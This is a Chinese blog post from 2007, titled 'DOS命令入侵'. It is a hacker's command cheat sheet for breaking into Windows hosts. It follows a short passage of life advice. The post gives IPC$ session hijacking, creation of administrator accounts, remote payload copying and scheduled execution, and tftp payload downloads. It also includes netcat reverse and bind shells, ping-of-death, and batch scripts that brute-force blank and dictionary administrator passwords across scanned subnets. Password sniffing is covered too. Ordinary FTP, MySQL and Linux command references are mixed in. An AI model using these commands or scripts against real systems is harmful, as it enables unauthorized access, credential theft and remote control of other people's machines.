      7.机会从不会“失掉”,你失掉了,自有别人会得到。不要凡事在天,守株待兔,更不要寄希望于“机会”。机会只不过是相对于充分准备而又善于创 造机会的人而言的。也许,你正为失去一个机会而懊悔、埋怨的时候,机会正被你对面那个同样的“倒霉鬼”给抓住了。没有机会,就要创造机会,有了机会,就要 巧妙地抓住。

      8.若电话老是不响,你该打出去。很多时候,电话会给你带来意想不到的收获,它不是花瓶,仅仅成为一种摆设。交了新朋友,别忘了老朋友,朋友多了路好走。交际的一大诀窍就是主动。好的人缘好的口碑,往往助你的事业更上一个台阶。

      9.千万不要因为自己已经到了结婚年龄而草率结婚。想结婚,就要找一个能和你心心相印、相辅相携的伴侣。不要因为放纵和游戏而恋爱,不要因为恋爱而影响工作和事业,更不要因一桩草率而失败的婚姻而使人生受阻。感情用事往往会因小失大。

      10.写出你一生要做的事情,把单子放在皮夹里,经常拿出来看。人生要有目标,要有计划,要有提醒,要有紧迫感。一个又一个小目标串起来,就成了你一生的大目标。生活富足了,环境改善了,不要忘了皮夹里那张看似薄薄的单子。
  • DOS命令入侵

    2007-07-09 20:47:22

    net use \\ip\ipc$ " " /user:" " 建立IPC空链接
    net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
    net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
    net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
    net use \\ip\ipc$ /del 删除IPC链接
    net use h: /del 删除映射对方到本地的为H:的映射
    net user 用户名 密码 /add 建立用户
    net user guest /active:yes 激活guest用户
    net user 查看有哪些用户
    net user 帐户名 查看帐户的属性
    net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
    net start 查看开启了哪些服务
    net start 服务名  开启服务;(如:net start telnet, net start schedule)
    net stop 服务名 停止某服务
    net time \\目标ip 查看对方时间
    net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
    net view 查看本地局域网内开启了哪些共享
    net view \\ip 查看对方局域网内开启了哪些共享
    net config 显示系统网络设置
    net logoff 断开连接的共享
    net pause 服务名 暂停某服务
    net send ip "文本信息" 向对方发信息
    net ver 局域网内正在使用的网络连接类型和信息
    net share 查看本地开启的共享
    net share ipc$ 开启ipc$共享
    net share ipc$ /del 删除ipc$共享
    net share c$ /del 删除C:共享
    net user guest 12345 用guest用户登陆后用将密码改为12345
    net password 密码 更改系统登陆密码
    netstat -a 查看开启了哪些端口,常用netstat -an
    netstat -n 查看端口的网络连接情况,常用netstat -an
    netstat -v 查看正在进行的工作
    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
    netstat -s 查看正在使用的所有协议使用情况
    nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
    tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
    ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
    ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
    ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
    tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

    #2 二:

    del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
    move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
    fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
    at id号 开启已注册的某个计划任务
    at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
    at id号 /delete 停止某个已注册的计划任务
    at 查看所有的计划任务
    at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
    finger username @host 查看最近有哪些用户登陆
    telnet ip 端口 远和登陆服务器,默认端口为23
    open ip 连接到IP(属telnet登陆后的命令)
    telnet 在本机上直接键入telnet 将进入本机的telnet
    copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
    copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
    cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
    copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
    xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
    tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
    mem 查看cpu使用情况
    attrib 文件名(目录名) 查看某文件(目录)的属性
    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
    set 指定环境变量名称=要指派给变量的字符 设置环境变量
    set 显示当前所有的环境变量
    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
    pause 暂停批处理程序,并显示出:请按任意键继续....
    if 在批处理程序中执行条件处理(更多说明见if命令及变量)
    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
    call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
    for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
    echo 信息 在屏幕上显示出信息
    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
    findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
    find 文件名 查找某文件
    title 标题名字 更改CMD窗口标题名字
    color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
    prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )

    #3 三:

    ver 在DOS窗口下显示版本信息
    winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
    format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
    md 目录名 创建目录
    replace 源文件 要替换文件的目录 替换文件
    ren 原文件名 新文件名 重命名文件名
    tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
    type 文件名 显示文本文件的内容
    more 文件名 逐屏显示输出文件
    doskey 要锁定的命令=字符
    doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
    taskmgr 调出任务管理器
    chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
    tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
    exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
    path 路径\可执行文件的文件名 为可执行文件设置一个路径。
    cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
    regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
    regedit /e 注册表文件名 导出注册表
    cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
    cacls 文件名 查看文件的访问用户权限列表
    REM 文本内容 在批处理文件中添加注解
    netsh 查看或更改本地网络配置情况

    #4 四:

    IIS服务命令:
    iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
    iisreset /start或stop 启动(停止)所有Internet服务
    iisreset /restart 停止然后重新启动所有Internet服务
    iisreset /status 显示所有Internet服务状态
    iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
    iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
    iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
    iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
    FTP 命令: (后面有详细说明内容)
    ftp的命令行格式为:
    ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
    -d 使用调试方式。
    -n 限制ftp的自动登录,即不使用.netrc文件。
    -g 取消全局文件名。
    help [命令] 或 ?[命令] 查看命令说明
    bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
    pwd 列出当前远端主机目录
    put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
    get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
    mget [remote-files] 从远端主机接收一批文件至本地主机
    mput local-files 将本地主机中一批文件传送至远端主机
    dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
    ascii 设定以ASCII方式传送文件(缺省值)
    bin 或 image 设定以二进制方式传送文件
    bell 每完成一次文件传送,报警提示
    cdup 返回上一级目录
    close 中断与远程服务器的ftp会话(与open对应)
    open host[port] 建立指定ftp服务器连接,可指定连接端口
    delete 删除远端主机中的文件
    mdelete [remote-files] 删除一批文件
    mkdir directory-name 在远端主机中建立目录
    rename [from] [to] 改变远端主机中的文件名
    rmdir directory-name 删除远端主机中的目录
    status 显示当前FTP的状态
    system 显示远端主机系统类型
    user user-name [password] [account] 重新以别的用户名登录远端主机
    open host [port] 重新建立一个新的连接
    prompt 交互提示模式
    macdef 定义宏命令
    lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
    chmod 改变远端主机的文件权限
    case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
    cd remote-dir 进入远程主机目录
    cdup 进入远程主机目录的父目录
    ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

    #5 五:

    MYSQL 命令:
    mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
    (例:mysql -h110.110.110.110 -Uroot -P123456
    注:u与root可以不用加空格,其它也一样)
    exit 退出MYSQL
    mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
    grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
    show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
    use mysql;
    show tables; 显示库中的数据
    describe 表名; 显示数据表的结构
    create database 库名; 建库
    use 库名;
    create table 表名 (字段设定列表); 建表
    drop database 库名;
    drop table 表名; 删库和删表
    delete from 表名; 将表中记录清空
    select * from 表名; 显示表中的记录
    mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
    win2003系统下新增命令(实用部份):
    shutdown /参数 关闭或重启本地或远程主机。
    参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
    例:shutdown /r /t 0 立即重启本地主机(无延时)
    taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
    参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
    tasklist 显示当前运行在本地和远程主机上的进程、服务服务各进程的进程标识符(PID)。
    参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

    #6 六:

    Linux系统下基本命令: 要区分大小写
    uname 显示版本信息(同win2K的 ver)
    dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
    pwd 查询当前所在的目录位置
    cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
    cat 文件名 查看文件内容
    cat >abc.txt 往abc.txt文件中写上内容。
    more 文件名 以一页一页的方式显示一个文本文件。
    cp 复制文件
    mv 移动文件
    rm 文件名 删除文件,rm -a 目录名删除目录及子目录
    mkdir 目录名 建立目录
    rmdir 删除子目录,目录内没有文档。
    chmod 设定档案或目录的存取权限
    grep 在档案中查找字符串
    diff 档案文件比较
    find 档案搜寻
    date 现在的日期、时间
    who 查询目前和你使用同一台机器的人以及Login时间地点
    w 查询目前上机者的详细资料
    whoami 查看自己的帐号名称
    groups 查看某人的Group
    passwd 更改密码
    history 查看自己下过的命令
    ps 显示进程状态
    kill 停止某进程
    gcc 黑客通常用它来编译C语言写的文件
    su 权限转换为指定使用者
    telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
    ftp ftp连接上某服务器(同win2K)

    附:批处理命令与变量

    1:for命令及变量 基本格式:
    FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
    批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

    (set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }

    command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
    command_parameters:为特定命令指定参数或命令行开关

    IN (set):指在(set)中取值;DO command :指执行command

    参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
    用法举例:
    @echo off
    echo 用法格式:test.bat *.*.* > test.txt

    for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
    存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

    /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
    @echo off
    echo 用法格式:ok.bat ip
    FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
    存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。

    #7 七:

    2:if命令及变量 基本格式:
    IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
    例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
    0 指发现并成功执行(真);1 指没有发现、没执行(假)。
    IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
    例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
    IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
    例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
    IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”

    (二)系统外部命令(均需下载相关工具):

    1、瑞士军刀:nc.exe

    参数说明:
    -h 查看帮助信息
    -d 后台模式
    -e prog程序重定向,一但连接就执行[危险]
    -i secs延时的间隔
    -l 监听模式,用于入站连接
    -L 监听模式,连接天闭后仍然继续监听,直到CTR+C
    -n IP地址,不能用域名
    -o film记录16进制的传输
    -p[空格]端口 本地端口号
    -r 随机本地及远程端口
    -t 使用Telnet交互方式
    -u UDP模式
    -v 详细输出,用-vv将更详细
    -w数字 timeout延时间隔
    -z 将输入,输出关掉(用于扫锚时)
    基本用法:
    nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
    nc -l -p 80 开启本机的TCP 80端口并监听
    nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
    nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
    nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
    高级用法:
    nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
    nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
    nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
    type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
    本机上用:nc -l -p 本机端口
    在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
    nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
    本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
    在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
    备 注:
    | 管道命令
    < 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
    @ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
    >与>>的区别  ">"指:覆盖;">>"指:保存到(添加到)。
    如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

    #8 八:

    2、扫锚工具:xscan.exe

    基本格式
    xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
    xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
    检测项目
    -active 检测主机是否存活
    -os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
    -port 检测常用服务的端口状态
    -ftp 检测FTP弱口令
    -pub 检测FTP服务匿名用户写权限
    -pop3 检测POP3-Server弱口令
    -smtp 检测SMTP-Server漏洞
    -sql 检测SQL-Server弱口令
    -smb 检测NT-Server弱口令
    -iis 检测IIS编码/解码漏洞
    -cgi 检测CGI漏洞
    -nasl 加载Nessus攻击脚本
    -all 检测以上所有项目
    其它选项
    -i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
    -l 显示所有网络适配器
    -v 显示详细扫描进度
    -p 跳过没有响应的主机
    -o 跳过没有检测到开放端口的主机
      -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
    -log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
    用法示例
    xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
    xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
    xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机

    #9 九:

    3、命令行方式嗅探器: xsniff.exe
    可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
    参数说明
    -tcp 输出TCP数据
    -udp 输出UDP数据
    -icmp 输出ICMP数据
    -pass 过滤密码信息
    -hide 后台运行
    -host 解析主机名
    -addr IP地址 过滤IP地址
    -port 端口 过滤端口
    -log 文件名 将输出保存到文件
    -asc 以ASCII形式输出
    -hex 以16进制形式输出
    用法示例
    xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
    xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出

    4、终端服务密码破解: tscrack.exe

    参数说明
    -h 显示使用帮助
    -v 显示版本信息
    -s 在屏幕上打出解密能力
    -b 密码错误时发出的声音
    -t 同是发出多个连接(多线程)
    -N Prevent System Log entries on targeted server
    -U 卸载移除tscrack组件
    -f 使用-f后面的密码
    -F 间隔时间(频率)
    -l 使用-l后面的用户名
    -w 使用-w后面的密码字典
    -p 使用-p后面的密码
    -D 登录主页面
    用法示例
    tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码
    tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户
    @if not exist ipcscan.txt goto noscan
    @for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
    nscan
    @echo 3389.txt no find or scan faild
    (①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)
    3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat
    @if not exist tscrack.exe goto noscan
    @tscrack %1 -l administrator -w pass.dic >>rouji.txt
    :noscan
    @echo tscrack.exe no find or scan faild
    (②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)
    hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。

    5、其它:

    Shutdown.exe
    Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)
    fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)
    fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息
    Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。
    OpenTelnet.exe (远程开启telnet工具)
    opentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet \\ip 连接上对方。
    NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。

    ResumeTelnet.exe (OpenTelnet附带的另一个工具)
    resumetelnet.exe \\IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务

    #10 十:

    6、FTP命令详解:

    FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。

    FTP的命令行格式为:
    ftp -v -d -i -n -g [主机名] ,其中

    -v 显示远程服务器的所有响应信息;

    -n 限制ftp的自动登录,即不使用;.n etrc文件;

    -d 使用调试方式;

    -g 取消全局文件名。

    FTP使用的内部命令如下(中括号表示可选项):

    1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
    2.$ macro-ame[args]: 执行宏定义macro-name。

    3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
    4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。

    5.ascii:使用ascii类型传输方式。
    6.bell:每个命令执行完毕后计算机响铃一次。

    7.bin:使用二进制文件传输方式。
    8.bye:退出ftp会话过程。

    9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。
    10.cd remote-dir:进入远程主机目录。

    11.cdup:进入远程主机目录的父目录。
    12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。

    13.close:中断与远程服务器的ftp会话(与open对应)。
    14.cr:使用asscii方式传输文件时,将回车换行转换为回行。

    15.delete remote-file:删除远程主机文件。
    16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。

    17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。
    18.disconnection:同close。

    19.form format:将文件传输方式设置为format,缺省为file方式。
    20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。

    21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
    22.hash:每传输1024字节,显示一个hash符号(#)。

    23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。
    24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。

    25.image:设置二进制传输方式(同binary)。
    26.lcd[dir]:将本地工作目录切换至dir。

    27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。
    28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。

    29.mdelete[remote-file]:删除远程主机文件。
    30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。

    31.mget remote-files:传输多个远程文件。
    32.mkdir dir-name:在远程主机中建一目录。

    33.mls remote-file local-file:同nlist,但可指定多个文件名。
    34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。

    35.modtime file-name:显示远程主机文件的最后修改时间。
    36.mput local-file:将多个文件传输至远程主机。

    37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
    38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。

    39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。
    40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。

    41.open host[port]:建立指定ftp服务器连接,可指定连接端口。
    42.passive:进入被动传输方式。

    43.prompt:设置多个文件传输时的交互提示。
    44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
    45.put local-file[remote-file]:将本地文件local-file传送至远程主机。
    46.pwd:显示远程主机的当前工作目录。

    47.quit:同bye,退出ftp会话。
    48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.

    49.recv remote-file[local-file]:同get。
    50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。

